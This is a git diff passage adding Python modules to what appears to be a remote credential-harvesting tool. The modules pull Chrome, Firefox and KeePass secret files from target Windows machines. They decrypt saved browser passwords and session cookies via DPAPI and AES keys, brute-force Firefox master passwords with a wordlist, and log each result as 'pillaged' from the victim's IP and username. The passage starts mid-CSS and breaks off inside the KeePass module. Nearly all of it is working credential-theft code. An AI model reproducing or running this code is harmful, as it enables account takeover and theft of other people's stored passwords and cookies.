16px; + margin-top: 30px; /* Add a top margin to avoid content overlay */ + height: 90%; /* Used in this example to enable scrolling */ +} \ No newline at end of file diff --git a/software/browser/chrome_decrypt.py b/software/browser/chrome_decrypt.py new file mode 100644 index 0000000..198d56c --- /dev/null +++ b/software/browser/chrome_decrypt.py @@ -0,0 +1,181 @@ +import sys +import sqlite3,os,json,base64,binascii +from lib.toolbox import bcolors +from lib.dpapi import * + +class CHROME_LOGINS: + def __init__(self, options,logger,db,username): + self.logindata_path = None + self.localstate_path = None + self.localstate_dpapi = None + self.cookie_path = None + self.options = options + self.logging= logger + self.username = username + self.aeskey = None + self.masterkey = None + self.masterkey_guid = None + self.logins = {} + self.cookies = {} + self.db=db + + def get_masterkey_guid_from_localstate(self): + try: + if self.localstate_path!=None: + if os.path.isfile(self.localstate_path): + with open(self.localstate_path, "rb") as f: + localfile_datas = json.load(f) + #print(localfile_datas) + key_blob = localfile_datas['os_crypt']['encrypted_key'] + blob = base64.b64decode(key_blob) + #print(blob) + if blob[:5] == b'DPAPI': + self.logging.debug(f"[{self.options.target_ip}] [Chrome decoding] found DPAPI blob : {binascii.hexlify(blob[5:])}") + blob = blob[5:] + self.localstate_dpapi=DPAPI(self.options,self.logging) + #mydpapi = DPAPI(myoptions, self.logging) + guid = self.localstate_dpapi.find_Blob_masterkey(raw_data=blob) + self.logging.debug(f"[{self.options.target_ip}] Looking for masterkey : {guid}") + if guid != None: + self.masterkey_guid=guid + return self.masterkey_guid + else: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Erro getting en DPAPI Blob from Chrome localstate file{bcolors.ENDC}") + return None + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Blob for Chrome{bcolors.ENDC}") + self.logging.debug(ex) + return None + + + def get_AES_key_from_localstate(self,masterkey=None): + if self.aeskey!=None: + return self.aeskey + if self.masterkey != None: + key=self.masterkey + elif masterkey!=None: + key=masterkey + else: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}error in get_AES_key_from_localstate - Masterkey not found {bcolors.ENDC}") + return None + self.localstate_dpapi.options.key=key + self.aeskey=self.localstate_dpapi.decrypt_blob() + if self.aeskey!= None: + self.logging.debug(f"[{self.options.target_ip}] [-] Found AES key from localstate - {binascii.hexlify(self.aeskey)} ") + return self.aeskey + + def decrypt_chrome_password(self,enc_password): + #BCRYPT + #BCryptGenerateSymmetricKey(*hAlg==Provider Brypt_GCM, hKey, NULL, 0, key==mykey AES, AES_256_KEY_SIZE, 0); + #Genere une clef en AES_GCM_256 qui sera utilisé dans l'algo symétrique : + if self.aeskey == None: + if self.masterkey!=None: + #lets get the key + self.get_AES_key_from_localstate() + if self.aeskey == None : + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Decrypt AES Password - Missing AES key from localstate ? {bcolors.ENDC}") + return None + try: + #Check Chrome password signature KUHL_M_DPAPI_CHROME_UNKV10[] = {'v', '1', '0'}; + if enc_password[:3]==b'v10' or enc_password[:3]==b'v11': + #key = binascii.unhexlify('8fcd4861a4345013318fd63b2973c4d69c7f2094028f2e12ddcf80acb325f02d') + #ciphertext = binascii.unhexlify( '76313018d8448143ced92ff0f5e44c5d5c07edd60ed530e01570e72ce1f7e2c13924c098e569a818f3') + nonce = enc_password[3:3 + 12] + iv = nonce # buff[3:15] + payload = enc_password[15:] + #tag = enc_password[-16:] + cipher = AES.new(self.aeskey, AES.MODE_GCM, iv) + decrypted_pass = cipher.decrypt(payload)[:-16]#Removing bloc of padded data + decrypted_pass = decrypted_pass.decode('utf-8') + if decrypted_pass != None: + self.logging.debug(f"[{self.options.target_ip}] Decrypted Chrome password : {decrypted_pass}") + return decrypted_pass + else: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Error in decrypt Chrome password {bcolors.ENDC}") + return None + else : + self.logging.debug(f"[{self.options.target_ip}] Got a Chrome Version : {enc_password[:3]} NOT IMPLEMENTED") + #c'est du DPAPI ? + #Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) user_dpapi=constant.user_dpapi) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypt_AES_chrome_password Chrome{bcolors.ENDC}") + self.logging.debug(ex) + return None + + + + def decrypt_chrome_LoginData(self): + #path = '192.168.20.141\\Users\\Administrateur.TOUF\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\' + try: + self.logging.debug( f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [Chrome Decrypt LoginData] {bcolors.ENDC} started for {self.logindata_path}") + if self.logindata_path!=None: + if os.path.isfile(self.logindata_path): + connection = sqlite3.connect(self.logindata_path) + with connection: + cursor = connection.cursor() + v = cursor.execute( + 'SELECT action_url, username_value, password_value FROM logins') + value = v.fetchall() + self.logging.debug( + f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [Chrome Decrypt LoginData] {bcolors.ENDC} got {len(value)} entries") + for origin_url, username, password in value: + #self.logging.debug(f"[+] Found Chrome data for user {username} : {origin_url} ") + self.logins[origin_url]={} + self.logins[origin_url]['username']=username + self.logins[origin_url]['enc_password']=password + self.logins[origin_url]['password']=self.decrypt_chrome_password(password) + ############PROCESSING DATA + self.db.add_credz(credz_type='browser-chrome', + credz_username=username, + credz_password=self.logins[origin_url]['password'], + credz_target=origin_url, + credz_path='', + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=self.username) + self.logging.info( f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [Chrome Password] {bcolors.ENDC} for {origin_url} [ {bcolors.OKBLUE}{self.logins[origin_url]['username']} : {self.logins[origin_url]['password']}{bcolors.ENDC} ]") + except sqlite3.OperationalError as e: + e = str(e) + if (e == 'database is locked'): + print('[!] Make sure Google Chrome is not running in the background') + elif (e == 'no such table: logins'): + print('[!] Something wrong with the database name') + elif (e == 'unable to open database file'): + print('[!] Something wrong with the database path') + else: + print(e) + return None + + return self.logins + + def decrypt_chrome_CookieData(self): + #path = '192.168.20.141\\Users\\Administrateur.TOUF\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\' + try: + if self.cookie_path!=None: + if os.path.isfile(self.cookie_path): + connection = sqlite3.connect(self.cookie_path) + with connection: + cursor = connection.cursor() + v = cursor.execute( + 'select host_key, "TRUE", path, "FALSE", expires_utc, name, encrypted_value from cookies') + values = v.fetchall() + + for host_key, _, path, _, expires_utc, name, encrypted_value in values: + #self.logging.debug(f"[{self.options.target_ip}] [+] Found Chrome cookie for {host_key}, {path}, {name},{value},{len(value)}") + self.cookies[host_key]={} + self.cookies[host_key][name]=self.decrypt_chrome_password(encrypted_value) + self.logging.debug(f"[{self.options.target_ip}] [+] Found Chrome cookie for {host_key}, {path}, {name},{self.cookies[host_key][name]}") + + except sqlite3.OperationalError as e: + e = str(e) + if (e == 'database is locked'): + print('[!] Make sure Google Chrome is not running in the background') + elif (e == 'no such table: logins'): + print('[!] Something wrong with the database name') + elif (e == 'unable to open database file'): + print('[!] Something wrong with the database path') + else: + print(e) + return None + + return self.cookies \ No newline at end of file diff --git a/software/browser/firefox_decrypt.py b/software/browser/firefox_decrypt.py new file mode 100644 index 0000000..4cffd0e --- /dev/null +++ b/software/browser/firefox_decrypt.py @@ -0,0 +1,132 @@ +import ntpath +import sys +import sqlite3,os,json,base64,binascii +from lib.toolbox import bcolors +from lib.dpapi import * +from lazagne.softwares.browsers.mozilla import Mozilla, firefox_browsers +from lazagne.config import constant + + +class FIREFOX_LOGINS: + def __init__(self, options,logger,user,fileops,db): + self.logindata_path = None + self.localstate_path = None + self.localstate_dpapi = None + self.cookie_path = None + self.options = options + self.logging= logger + self.myfileops = fileops + self.db = db + self.aeskey = None + self.masterkey = None + self.masterkey_guid = None + self.logins = {} + self.cookies = {} + self.user = user + self.lasagne_firefox_browsers = firefox_browsers + self.lasagne_Mozilla = None + + def get_files(self): + try: + #files_to_get = os.path.join(profile, 'signons.sqlite')) (profile, 'logins.json')key3.db , key4.db + #directory_to_get = [''] + for mybrowser in firefox_browsers: + blacklist = ['.', '..'] + browser_path=mybrowser[1] #PATH Style is (u'firefox', u'{APPDATA}\\Mozilla\\Firefox'), + browser_name=mybrowser[0] + APPDATA=f"Users\\{self.user.username}\\AppData\\Roaming" + + path = browser_path.format(APPDATA=APPDATA) + self.logging.debug(f"[{self.options.target_ip}] [+] Looking for Mozilla {browser_name} Profile Files in {path}") + try: + # Downloading profile file + localfile = self.myfileops.get_file(ntpath.join(path, 'profiles.ini')) + if localfile!=None : + self.logging.debug(f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{self.user.username}{bcolors.ENDC} Mozilla {browser_name} Profile files : {ntpath.join(path, 'profiles.ini')}") + else: + continue + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Files profiles.ini for Mozilla {browser_name} - browser doesn't exist{bcolors.ENDC}") + self.logging.debug(ex) + continue + #Into profiles directories + tmp_pwd = ntpath.join(path, 'Profiles') + my_directory = self.myfileops.do_ls(tmp_pwd, wildcard='*', display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and is_directory :# and longname=='profiles.ini': + try: + self.logging.debug(f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{self.user.username}{bcolors.ENDC} Mozilla Profile Directory : {longname}") + # Downloading profile important files + for file_to_dl in ['signons.sqlite','logins.json','key3.db', 'key4.db']: + try: + localfile = self.myfileops.get_file(ntpath.join(ntpath.join(tmp_pwd, longname),file_to_dl),allow_access_error=True) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Files for Mozilla{bcolors.ENDC}") + self.logging.debug(ex) + continue + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Files for Mozilla{bcolors.ENDC}") + self.logging.debug(ex) + continue + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception FIREFOX get_files{bcolors.ENDC}") + self.logging.debug(ex) + return None + + def run(self): + #Download needed files + self.get_files() + #Set new starting path + #Extract from Lazagne config + profile = { + 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', + 'USERPROFILE': u'{drive}:\\Users\\{user}\\', + 'HOMEDRIVE': u'{drive}:', + 'HOMEPATH': u'{drive}:\\Users\\{user}', + 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', + 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', + 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', + } + APPDATA=profile['APPDATA'].replace('{drive}:','{download_path}') + APPDATA=APPDATA.format(download_path=self.myfileops.get_download_directory(),user=self.user.username) + + #Run Lasagne + for mybrowser in firefox_browsers: + try: + name=mybrowser[0] + path=mybrowser[1] + browserpath=path.format(APPDATA=APPDATA).replace('\\','/') + myMozilla=Mozilla(name,browserpath,logger=self.logging) + pwd_found = myMozilla.run() + if len(pwd_found)>0: + longname=name + self.user.files[longname] = {} + self.user.files[longname]['type'] = 'MozillaLoginData' + self.user.files[longname]['status'] = 'decrypted' + self.user.files[longname]['path'] = browserpath + + for finding in pwd_found: + self.logins[finding['URL']] = {} + self.logins[finding['URL']]['username'] = finding['Login'] + self.logins[finding['URL']]['password'] = finding['Password'] + ############PROCESSING DATA + self.db.add_credz(credz_type='browser-firefox', + credz_username=finding['Login'], + credz_password=finding['Password'], + credz_target=finding['URL'], + credz_path=browserpath, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=self.user.username) + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [Firefox Password] {bcolors.ENDC} for {finding['URL']} [ {bcolors.OKBLUE}{self.logins[finding['URL']]['username']} : {self.logins[finding['URL']]['password']}{bcolors.ENDC} ]") + self.user.files[longname]['secret'] = self.logins + + + except Exception as ex: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for Mozilla {self.user.username} {bcolors.ENDC}") + self.logging.debug(ex) + continue + return self.logins diff --git a/software/browser/mozilla.py b/software/browser/mozilla.py new file mode 100644 index 0000000..da7f37f --- /dev/null +++ b/software/browser/mozilla.py @@ -0,0 +1,545 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472) +# from https://github.com/lclevy/firepwd/blob/master/firepwd.py + +import hmac +import json +import sqlite3 +import struct +import sys +import traceback +import os + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.crypto.pyDes import triple_des, CBC +from lazagne.config.crypto.pyaes import AESModeOfOperationCBC +from lazagne.config.dico import get_dic +from lazagne.config.constant import constant +from pyasn1.codec.der import decoder +from binascii import unhexlify +from base64 import b64decode +from lazagne.config.winstructure import char_to_int, convert_to_byte +from hashlib import sha1, pbkdf2_hmac + +try: + from ConfigParser import RawConfigParser # Python 2.7 +except ImportError: + from configparser import RawConfigParser # Python 3 + +if sys.version_info[0]: + python_version = sys.version_info[0] + + +def l(n): + try: + return long(n) + except NameError: + return int(n) + + +CKA_ID = unhexlify('f8000000000000000000000000000001') +AES_BLOCK_SIZE = 16 + + +def long_to_bytes(n, blocksize=0): + """long_to_bytes(n:long, blocksize:int) : string + Convert a long integer to a byte string. + If optional blocksize is given and greater than zero, pad the front of the + byte string with binary zeros so that the length is a multiple of + blocksize. + """ + # after much testing, this algorithm was deemed to be the fastest + s = convert_to_byte('') + n = l(n) + while n > 0: + s = struct.pack('>I', n & 0xffffffff) + s + n = n >> 32 + + # strip off leading zeros + for i in range(len(s)): + if s[i] != convert_to_byte('\000')[0]: + break + else: + # only happens when n == 0 + s = convert_to_byte('\000') + i = 0 + s = s[i:] + # add back some pad bytes. this could be done more efficiently w.r.t. the + # de-padding being done above, but sigh... + if blocksize > 0 and len(s) % blocksize: + s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s + + return s + + +class Mozilla(ModuleInfo): + + def __init__(self, browser_name, path): + self.path = path + ModuleInfo.__init__(self, browser_name, category='browsers') + + def get_firefox_profiles(self, directory): + """ + List all profiles + """ + cp = RawConfigParser() + profile_list = [] + + try: + cp.read(os.path.join(directory, 'profiles.ini')) + for section in cp.sections(): + if section.startswith('Profile') and cp.has_option(section, 'Path'): + profile_path = None + + if cp.has_option(section, 'IsRelative'): + if cp.get(section, 'IsRelative') == '1': + profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) + elif cp.get(section, 'IsRelative') == '0': + profile_path = cp.get(section, 'Path').strip() + + else: # No "IsRelative" in profiles.ini + profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) + + if profile_path: + profile_path = profile_path.replace('/', '\\') + profile_list.append(profile_path) + + except Exception as e: + self.error(u'An error occurred while reading profiles.ini: {}'.format(e)) + return profile_list + + def get_key(self, profile): + """ + Get main key used to encrypt all data (user / password). + Depending on the Firefox version, could be stored in key3.db or key4.db file. + """ + try: + row = None + # Remove error when file is empty + with open(os.path.join(profile, 'key4.db'), 'rb') as f: + content = f.read() + + if content: + conn = sqlite3.connect( + os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite + c = conn.cursor() + # First check password + c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") + try: + row = c.next() # Python 2 + except Exception: + row = next(c) # Python 3 + + except Exception: + self.debug(traceback.format_exc()) + + else: + if row: + (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', + key_data=row) + + if global_salt: + try: + # Decrypt 3DES key to decrypt "logins.json" content + c.execute("SELECT a11,a102 FROM nssPrivate;") + for row in c: + if row[0]: + break + + a11 = row[0] # CKA_VALUE + a102 = row[1] # f8000000000000000000000000000001, CKA_ID + + if python_version == 2: + a102 = str(a102) + + if a102 == CKA_ID: + # a11 : CKA_VALUE + # a102 : f8000000000000000000000000000001, CKA_ID + # self.print_asn1(a11, len(a11), 0) + # SEQUENCE { + # SEQUENCE { + # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 + # SEQUENCE { + # OCTETSTRING entry_salt_for_3des_key + # INTEGER 01 + # } + # } + # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) + # } + decoded_a11 = decoder.decode(a11) + key = self.decrypt_3des(decoded_a11, master_password, global_salt) + if key: + self.debug(u'key: {key}'.format(key=repr(key))) + yield key[:24] + # else: + # Nothing saved + + except Exception: + self.debug(traceback.format_exc()) + + try: + key3_file = os.path.join(profile, 'key3.db') + if os.path.exists(key3_file): + key_data = self.read_bsddb(key3_file) + # Check masterpassword + (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'', + key_data=key_data, + new_version=False) + if global_salt: + key = self.extract_secret_key(key_data=key_data, + global_salt=global_salt, + master_password=master_password, + entry_salt=entry_salt) + if key: + self.debug(u'key: {key}'.format(key=repr(key))) + yield key[:24] + except Exception: + self.debug(traceback.format_exc()) + + @staticmethod + def get_short_le(d, a): + return struct.unpack('L', d[a:a + 4])[0] + + def print_asn1(self, d, l, rl): + """ + Used for debug + """ + type_ = char_to_int(d[0]) + length = char_to_int(d[1]) + if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html, + # nByteLength = length & 0x7f + length = char_to_int(d[2]) + # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and + # bits 7-1 give the number of additional length octets. + skip = 1 + else: + skip = 0 + + if type_ == 0x30: + seq_len = length + read_len = 0 + while seq_len > 0: + len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1) + seq_len = seq_len - len2 + read_len = read_len + len2 + return length + 2 + elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER + return length + 2 + elif length == l - 2: + self.print_asn1(d[2:], length, rl + 1) + return length + + def read_bsddb(self, name): + """ + Extract records from a BSD DB 1.85, hash mode + Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used + """ + with open(name, 'rb') as f: + # http://download.oracle.com/berkeley-db/db.1.85.tar.gz + header = f.read(4 * 15) + magic = self.get_long_be(header, 0) + if magic != 0x61561: + self.warning(u'Bad magic number') + return False + + version = self.get_long_be(header, 4) + if version != 2: + self.warning(u'Bad version !=2 (1.85)') + return False + + pagesize = self.get_long_be(header, 12) + nkeys = self.get_long_be(header, 0x38) + readkeys = 0 + page = 1 + db1 = [] + + while readkeys < nkeys: + f.seek(pagesize * page) + offsets = f.read((nkeys + 1) * 4 + 2) + offset_vals = [] + i = 0 + nval = 0 + val = 1 + keys = 0 + + while nval != val: + keys += 1 + key = self.get_short_le(offsets, 2 + i) + val = self.get_short_le(offsets, 4 + i) + nval = self.get_short_le(offsets, 8 + i) + offset_vals.append(key + pagesize * page) + offset_vals.append(val + pagesize * page) + readkeys += 1 + i += 4 + + offset_vals.append(pagesize * (page + 1)) + val_key = sorted(offset_vals) + for i in range(keys * 2): + f.seek(val_key[i]) + data = f.read(val_key[i + 1] - val_key[i]) + db1.append(data) + page += 1 + + db = {} + for i in range(0, len(db1), 2): + db[db1[i + 1]] = db1[i] + + return db + + @staticmethod + def decrypt_3des(decoded_item, master_password, global_salt): + """ + User master key is also encrypted (if provided, the master_password could be used to encrypt it) + """ + # See http://www.drh-consultancy.demon.co.uk/key3.html + pbeAlgo = str(decoded_item[0][0][0]) + if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC + entry_salt = decoded_item[0][0][1][0].asOctets() + cipher_t = decoded_item[0][1].asOctets() + + # See http://www.drh-consultancy.demon.co.uk/key3.html + hp = sha1(global_salt + master_password).digest() + pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt)) + chp = sha1(hp + entry_salt).digest() + k1 = hmac.new(chp, pes + entry_salt, sha1).digest() + tk = hmac.new(chp, pes, sha1).digest() + k2 = hmac.new(chp, tk + entry_salt, sha1).digest() + k = k1 + k2 + iv = k[-8:] + key = k[:24] + return triple_des(key, CBC, iv).decrypt(cipher_t) + + # New version + elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2 + + assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12' + assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9' + assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42' + # https://tools.ietf.org/html/rfc8018#page-23 + entry_salt = decoded_item[0][0][1][0][1][0].asOctets() + iteration_count = int(decoded_item[0][0][1][0][1][1]) + key_length = int(decoded_item[0][0][1][0][1][2]) + assert key_length == 32 + + k = sha1(global_salt + master_password).digest() + key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length) + + # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 + iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets() + # 04 is OCTETSTRING, 0x0e is length == 14 + encrypted_value = decoded_item[0][1].asOctets() + aes = AESModeOfOperationCBC(key, iv=iv) + cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE]) + for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)]) + + return cleartxt + + def extract_secret_key(self, key_data, global_salt, master_password, entry_salt): + + if unhexlify('f8000000000000000000000000000001') not in key_data: + return None + + priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')] + salt_len = char_to_int(priv_key_entry[1]) + name_len = char_to_int(priv_key_entry[2]) + priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:]) + # data = priv_key_entry[3 + salt_len + name_len:] + # self.print_asn1(data, len(data), 0) + + # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt + priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt) + # self.print_asn1(priv_key, len(priv_key), 0) + priv_key_asn1 = decoder.decode(priv_key) + pr_key = priv_key_asn1[0][2].asOctets() + # self.print_asn1(pr_key, len(pr_key), 0) + pr_key_asn1 = decoder.decode(pr_key) + # id = pr_key_asn1[0][1] + key = long_to_bytes(pr_key_asn1[0][3]) + return key + + @staticmethod + def decode_login_data(data): + asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode + # For login and password, keep :(key_id, iv, ciphertext) + return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets() + + def get_login_data(self, profile): + """ + Get encrypted data (user / password) and host from the json or sqlite files + """ + conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite')) + logins = [] + c = conn.cursor() + try: + c.execute('SELECT * FROM moz_logins;') + except sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3 + try: + logins_json = os.path.join(profile, 'logins.json') + if os.path.isfile(logins_json): + with open(logins_json) as f: + loginf = f.read() + if loginf: + json_logins = json.loads(loginf) + if 'logins' not in json_logins: + self.debug('No logins key in logins.json') + return logins + for row in json_logins['logins']: + enc_username = row['encryptedUsername'] + enc_password = row['encryptedPassword'] + logins.append((self.decode_login_data(enc_username), + self.decode_login_data(enc_password), row['hostname'])) + return logins + except Exception: + self.debug(traceback.format_exc()) + return [] + + # Using sqlite3 database + for row in c: + enc_username = row[6] + enc_password = row[7] + logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1])) + return logins + + def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True): + """ + Check if a master password is set. + If so, try to find it using a dictionary attack + """ + (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password, + key_data=key_data, + new_version=new_version) + + if not global_salt: + self.info(u'Master Password is used !') + (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data, + new_version=new_version) + if not master_password: + return '', '', '' + + return global_salt, master_password, entry_salt + + def is_master_password_correct(self, key_data, master_password=b'', new_version=True): + try: + entry_salt = b"" + if not new_version: + # See http://www.drh-consultancy.demon.co.uk/key3.html + pwd_check = key_data.get(b'password-check') + if not pwd_check: + return '', '', '' + # Hope not breaking something (not tested for old version) + # entry_salt_len = char_to_int(pwd_check[1]) + # entry_salt = pwd_check[3: 3 + entry_salt_len] + # encrypted_passwd = pwd_check[-16:] + global_salt = key_data[b'global-salt'] + + else: + global_salt = key_data[0] # Item1 + item2 = key_data[1] + # self.print_asn1(item2, len(item2), 0) + # SEQUENCE { + # SEQUENCE { + # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 + # SEQUENCE { + # OCTETSTRING entry_salt_for_passwd_check + # INTEGER 01 + # } + # } + # OCTETSTRING encrypted_password_check + # } + decoded_item2 = decoder.decode(item2) + + cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) + if cleartext_data != convert_to_byte('password-check\x02\x02'): + return '', '', '' + + return global_salt, master_password, entry_salt + except Exception: + self.debug(traceback.format_exc()) + return '', '', '' + + def brute_master_password(self, key_data, new_version=True): + """ + Try to find master_password doing a dictionary attack using the 500 most used passwords + """ + wordlist = constant.password_found + get_dic() + num_lines = (len(wordlist) - 1) + self.info(u'%d most used passwords !!! ' % num_lines) + + for word in wordlist: + global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data, + master_password=word.strip(), + new_version=new_version) + if master_password: + self.info(u'Master password found: {}'.format(master_password)) + return global_salt, master_password, entry_salt + + self.warning(u'No password has been found using the default list') + return '', '', '' + + def remove_padding(self, data): + """ + Remove PKCS#7 padding + """ + try: + nb = struct.unpack('B', data[-1])[0] # Python 2 + except Exception: + nb = data[-1] # Python 3 + + try: + return data[:-nb] + except Exception: + self.debug(traceback.format_exc()) + return data + + def decrypt(self, key, iv, ciphertext): + """ + Decrypt ciphered data (user / password) using the key previously found + """ + data = triple_des(key, CBC, iv).decrypt(ciphertext) + return self.remove_padding(data) + + def run(self): + """ + Main function + """ + pwd_found = [] + self.path = self.path.format(**constant.profile) + if os.path.exists(self.path): + for profile in self.get_firefox_profiles(self.path): + self.debug(u'Profile path found: {profile}'.format(profile=profile)) + + credentials = self.get_login_data(profile) + if credentials: + for key in self.get_key(profile): + for user, passw, url in credentials: + try: + pwd_found.append({ + 'URL': url, + 'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode('utf-8'), + 'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode('utf-8'), + }) + except Exception: + self.debug(u'An error occured decrypting the password: {error}'.format( + error=traceback.format_exc())) + else: + self.info(u'Database empty') + + return pwd_found + + +# Name, path +firefox_browsers = [ + (u'firefox', u'{APPDATA}\\Mozilla\\Firefox'), + (u'blackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'), + (u'cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'), + (u'comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'), + (u'k-Meleon', u'{APPDATA}\\K-Meleon'), + (u'icecat', u'{APPDATA}\\Mozilla\\icecat'), +] + +firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers] \ No newline at end of file diff --git a/software/manager/keepass.py b/software/manager/keepass.py new file mode 100644 index 0000000..8d7f150 --- /dev/null +++ b/software/manager/keepass.py @@ -0,0 +1,355 @@ +#%UserProfile%\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0 + +'''decryption info comes from From Triage.cs of SharpDPAPI - HarmJ0y <3 +voir aussi l'utilisation avec keytheft https://github.com/GhostPack/KeeThief''' + +import ntpath +import LnkParse3 +from lib.toolbox import bcolors +from lib.fileops import MyFileOps +import copy +from lib.dpapi import * +from impacket.uuid import string_to_bin + +class lastpass(): + def __init__(self,smb,myregops,myfileops,logger,options,db,users): + self.myregops = myregops + self.myfileops = myfileops + self.logging = logger + self.options = options + self.db = db + self.users = users + self.smb = smb + self.keepass_password = None + + + def run(self): + self.get_files() + #self.process_files() + #self.decrypt_all() + + def get_files(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering New Module Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + + user_directories = [("Users\\{username}\\AppData\\Roaming\\KeePass\\", ('ProtectedUserKey.bin')), + ] + machine_directories = [] + + for user in self.users: + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} ") + if user.username == 'MACHINE$': + directories_to_use = machine_directories + continue + else: + directories_to_use = user_directories + + for info in directories_to_use: + my_dir, my_mask = info + tmp_pwd = my_dir.format(username=user.username) + self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + for mask in my_mask: + my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) + self.process_file(localfile,user,longname) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + + + + def process_file(self,localfile,user,longname): + ''' + public static void TriageKeePassKeyFile(Dictionary MasterKeys, string keyFilePath = "", bool unprotect = false) { + + if (!File.Exists(keyFilePath)) + return; + + var lastAccessed = File.GetLastAccessTime(keyFilePath); + var lastModified = File.GetLastWriteTime(keyFilePath); + + Console.WriteLine(" File : {0}", keyFilePath); + Console.WriteLine(" Accessed : {0}", lastAccessed); + Console.WriteLine(" Modified : {0}", lastModified); + + byte[] keyFileBytes = File.ReadAllBytes(keyFilePath); + + // entropy from KeePass source 